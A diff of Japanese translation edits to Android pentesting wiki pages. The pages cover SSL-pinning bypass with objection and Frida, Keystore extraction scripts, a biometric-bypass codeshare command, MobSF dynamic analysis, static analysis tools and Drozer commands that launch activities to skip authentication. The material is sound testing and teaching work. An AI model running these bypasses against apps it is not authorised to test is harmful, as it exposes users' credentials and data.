**Frida**(下記で説明)を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下記で説明)。 - まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 一般的なWeb脆弱性の検索 @@ -430,8 +430,8 @@ Androidアプリケーションをペンテストするには、Fridaの使い - Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/index.html) - Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re) -- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 +- ここでいくつかの素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re) +- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaをロードして、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 ### **メモリダンプ - Fridump** @@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore内の機密データ** -Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ誰かがこのデータを盗むことができるかもしれません。 +Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ者がこのデータを盗むことができるかもしれません。 -アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。 +アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。 Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -468,9 +468,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 +Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定を行います。テストされたアプリケーションからのトラフィックのみをキャプチャします。 **Frida** デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\ MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。 -動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\ -MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 +動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ +MobSFはあなた自身の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`にさらに追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押します(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 ![](<../../images/image (419).png>) @@ -551,15 +551,15 @@ MobSFは、独自の**Fridaスクリプト**を読み込むこともできます - **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します - **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい) - **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。 -- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。 +- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが印刷されます。 - **クラスパターンを検索**:パターンでクラスを検索 -- **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 +- **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。 -使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。 +使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力が"**Frida Live Logs**"に表示されます。 **Shell** -Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド: +Mobsfはまた、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルを提供します。いくつかの興味深いコマンド: ```bash help shell ls @@ -589,13 +589,13 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT ### [Yaazhini](https://www.vegabird.com/yaazhini/) -これは**GUIを使用した静的分析を実行するための優れたツール**です。 +これは**GUIを使用した静的分析を実行するための素晴らしいツール**です。 ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 +このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すために設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**「Proof-of-Concept」デプロイ可能APK**および**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。 -すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。 +すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。 最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。 ``` @@ -637,7 +637,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\ +AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\ [Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -647,7 +647,7 @@ androbugs.exe -f [APK file] **Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。 -検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 +検出は、アプリケーションのDalvikバイトコードを**静的分析**することで行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:電話識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... ``` @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPのモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 +**MARA**は**モバイルアプリケーションの逆アセンブルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 以下のことが可能です: @@ -665,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する - 正規表現を使用してAPKからプライベート情報を抽出する - マニフェストを分析する -- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、および[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する +- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する - [apk-deguard.com](http://www.apk-deguard.com)を介してAPKをデオブフスケートする ### Koodous @@ -686,12 +686,12 @@ ProGuardはAndroid SDKの一部として配布され、リリースモードで APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。 -(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした: +(そのガイドから) 最後に確認したとき、Dexguardの動作モードは以下の通りでした: -- リソースをInputStreamとして読み込む; -- 結果をFilterInputStreamから継承したクラスに渡して復号化する; -- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う; -- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する; +- リソースをInputStreamとして読み込む; +- 結果をFilterInputStreamから継承したクラスに渡して復号化する; +- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う; +- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する; - 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。 ### [DeGuard](http://apk-deguard.com) @@ -702,11 +702,11 @@ APKをデオブフスケートするためのステップバイステップガ ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリのコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。 +これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。 ### [Simplify](https://github.com/CalebFenton/simplify) -これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。各最適化タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。 +これは**汎用のAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。各最適化タイプはシンプルで汎用的であるため、使用される特定の難読化のタイプは関係ありません。 ### [APKiD](https://github.com/rednaga/APKiD) @@ -714,13 +714,13 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供 ### マニュアル -[カスタム難読化を逆コンパイルする方法についてのいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) +[カスタム難読化を逆転させる方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) ## ラボ ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。 +AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。 ## 参考文献 diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index b7bb19807..e1764d68c 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -4,10 +4,10 @@ ## Android Security Model -**二つの層があります:** +**二つのレイヤーがあります:** - **OS**は、インストールされたアプリケーションを互いに隔離します。 -- **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を構成することを可能にします。 +- **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を設定することを可能にします。 ### UID Separation @@ -15,7 +15,7 @@ ### UID Sharing -**二つのアプリケーションは同じUIDを使用するように構成できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\ +**二つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\ **同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。** ### Sandboxing @@ -25,10 +25,10 @@ Android 5.0(L)以降は**SELinux**が強制されます。基本的に、SELinux ### Permissions -アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\ -Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストで宣言されなければなりません**。 +アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\ +Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストに宣言されている必要があります**。 -アプリが機能を公開する際には、**特定の権限を持つアプリのみにアクセスを制限することができます**。\ +アプリが機能を公開する際には、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\ 権限要素には三つの属性があります: - 権限の**name** @@ -50,9 +50,9 @@ Androidアプリケーションは最初にすべての権限を要求する必 ## Rooting 物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を**利用する必要があります。これらは**デバイス**と**バージョン**に特有のものであることが多いです。\ -エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数で指定された場所(例:`/system/xbin`)にコピーされます。 +エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数に指定された場所(例:`/system/xbin`)にコピーされます。 -suバイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理**します(**Superuser**や**SuperSU**など、Google Playストアで入手可能)。 +`su`バイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理します**。これには**Superuser**や**SuperSU**(Google Playストアで入手可能)が含まれます。 > [!CAUTION] > ルート化プロセスは非常に危険であり、デバイスに深刻な損傷を与える可能性があることに注意してください。 @@ -60,7 +60,7 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ ### ROMs **カスタムファームウェアをインストールすることでOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\ -**OmniROM**や**LineageOS**は、使用するための最も人気のあるファームウェアの二つです。 +**OmniROM**や**LineageOS**は使用するのに人気のあるファームウェアの二つです。 **カスタムファームウェアをインストールするためにデバイスをルート化する必要はないことに注意してください**。**一部の製造元は**、文書化され、安全な方法でブートローダーのロック解除を許可しています。 @@ -114,9 +114,13 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され ### Intent-Filter -**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバーの場合はコーディングすることも選択肢です。 +**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**内ですが、ブロードキャストレシーバーの場合はコーディングすることも選択肢です。 -インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定 +インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。 + +Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェストにインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保ち、他のアプリと意図せず相互作用しないようにする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現されます。 + +さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御のレイヤーを追加します。 ```java @@ -157,18 +161,18 @@ context.startService(intent); ``` ### Pending Intents -これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ようになります。 +これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ことになります。 ### Broadcast Intents -前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、Intent.setPackageを使用して**メッセージを受信すべきアプリを指定することが可能です**。 +前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信するアプリを指定することが可能です**。Intent.setPackageを使用します。 また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。 ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。 -`Context`クラスの`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\ -また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを出ることはありません**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。 +`Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\ +また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。 ### Sticky Broadcasts @@ -180,9 +184,9 @@ context.startService(intent); ## Deep links / URL schemes -Androidアプリケーションでは、**ディープリンク**を使用してURLを介して直接アクション(インテント)を開始します。これは、アクティビティ内に特定の**URLスキーム**を宣言することで行われます。Androidデバイスがこのスキームを持つURLに**アクセスしようとすると**、アプリケーション内の指定されたアクティビティが起動します。 +Androidアプリケーションでは、**ディープリンク**を使用してURLを介して直接アクション(インテント)を開始します。これは、アクティビティ内で特定の**URLスキーム**を宣言することによって行われます。Androidデバイスがこのスキームを持つURLに**アクセスしようとすると**、アプリケーション内の指定されたアクティビティが起動します。 -スキームは**`AndroidManifest.xml`**ファイルに宣言する必要があります: +スキームは**`AndroidManifest.xml`**ファイル内で宣言する必要があります: ```xml [...] @@ -194,9 +198,9 @@ Androidアプリケーションでは、**ディープリンク**を使用して [...] ``` -前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** も注意してください) +前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** にも注意してください) -次に、データフィールドで **host** と **path** を指定できます: +次に、データフィールドで **host** と **path** を指定できます: ```xml @@ -246,7 +250,7 @@ Androidアプリでは、**アクティビティ**は画面のようなもので ```markdown ``` -しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクになるわけではありません。懸念は、機密データが不適切に共有される場合に生じ、情報漏洩につながる可能性があります。 +しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクであるわけではありません。懸念は、機密データが不適切に共有される場合に生じ、情報漏洩につながる可能性があります。 アクティビティのライフサイクルは**onCreateメソッド**から始まり、UIを設定し、ユーザーとのインタラクションのためにアクティビティを準備します。 @@ -274,7 +278,7 @@ super.onCreate(); サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。 -サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げることなく行うことができます。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です: +サービスの興味深い応用には、バックグラウンドでの音楽再生や、ユーザーがアプリと対話することを妨げることなくネットワークデータを取得することが含まれます。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です: ```xml ``` @@ -284,7 +288,7 @@ super.onCreate(); **Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。 -ブロードキャストは **非同期** であり、すべてのレシーバーに順序なしで到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。 +ブロードキャストは **非同期** であり、順序なしにすべてのレシーバーに到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、任意のアプリが自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。 レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証が必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。 @@ -292,11 +296,11 @@ super.onCreate(); **Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。**`readPermission`** や **`writePermission`** などの特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。 -入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データの操作とアプリケーション間の共有を促進する基本的な操作をサポートします:`insert()`、`update()`、`delete()`、および `query()`。 +入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします: `insert()`、`update()`、`delete()`、および `query()`。 -**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。フォルダーへのアクセスを制御するために特定の属性を持ってアプリのマニフェストで定義され、`android:exported` と `android:resource` がフォルダー構成を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。 +**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダー構成を指します。機密データが誤って公開されないように、ディレクトリを共有する際には注意が必要です。 -FileProvider の例のマニフェスト宣言: +FileProvider の例のマニフェスト宣言: ```xml ``` @@ -117,7 +115,7 @@ com.mwr.example.sieve.PWList ``` **アクティビティを開始**: -おそらく、アクティビティを開始し、起動を防ぐべきいくつかの認証をバイパスできるかもしれません。 +おそらく、アクティビティを開始し、起動を妨げるべき認証をバイパスできるかもしれません。 ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` @@ -130,12 +128,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### コンテンツプロバイダー -この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。 +この投稿はここに収まりきらないほど大きいため、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。 ### サービス エクスポートされたサービスは、Manifest.xml内で宣言されます: -```markup +```html ``` コード内で**check**を行い、**`handleMessage`**関数を探します。この関数は**message**を**受信**します: @@ -163,7 +161,7 @@ app.service.stop Stop Service ![](<../../../images/image (1079).png>) -最初に"_msg.what_"のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\ +最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\ `--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。 次の例では: @@ -177,13 +175,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ``` ![](<../../../images/image (647).png>) -### ブロードキャストレシーバー +### Broadcast Receivers -**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを見ることができます**。 +**Androidの基本情報セクションでは、Broadcast Receiverとは何かを見ることができます**。 